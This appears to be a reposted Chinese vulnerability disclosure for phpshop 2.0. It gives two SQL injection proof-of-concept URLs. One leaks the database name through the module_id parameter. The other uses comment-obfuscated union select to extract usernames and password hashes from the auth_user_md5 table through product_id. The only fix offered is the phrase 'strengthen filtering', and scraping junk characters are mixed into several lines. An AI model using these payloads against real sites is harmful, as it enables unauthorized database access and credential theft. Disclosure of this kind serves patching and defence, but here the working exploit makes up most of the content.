phpshop 2.0 SQL注入及修复

admin

标题 : phpshop 2.0 SQL Injection Vulnerability

! x2 P) X3 [- P% s# {作者 : By onestree
7 [9 A- d9 m& x; O. a% X" R下载地址 : http://code.google.com/p/phpshop/downloads/list
测试地址: windows 7 / ubuntu

4 }9 q6 d0 {4 [4 X" a
& q5 h0 l. U1 @" q2 }8 }. E+ @) TSQLi p0c:

3 S: l3 \( Z1 `& T3 b==================
% b1 |9 F/ p) M" }. `! ~4 i+ {
$ o% J6 D7 v7 Chttp://www.xxx.com /phpshop 2.0/?page=admin/function_list&module_id=11'
union select 1,database(),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 --
% `) A# W- P6 m! s4 d- j# ^6 u
! s! q' p4 r5 f% v' a+ Lhttp://localhost/phpshop 2.0/?page=shop/flypage&product_id=1087'/**/union/**/select/**/1,1,1,1,1,password,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,username/**/from/**/auth_user_md5--

修复：
加强过滤
​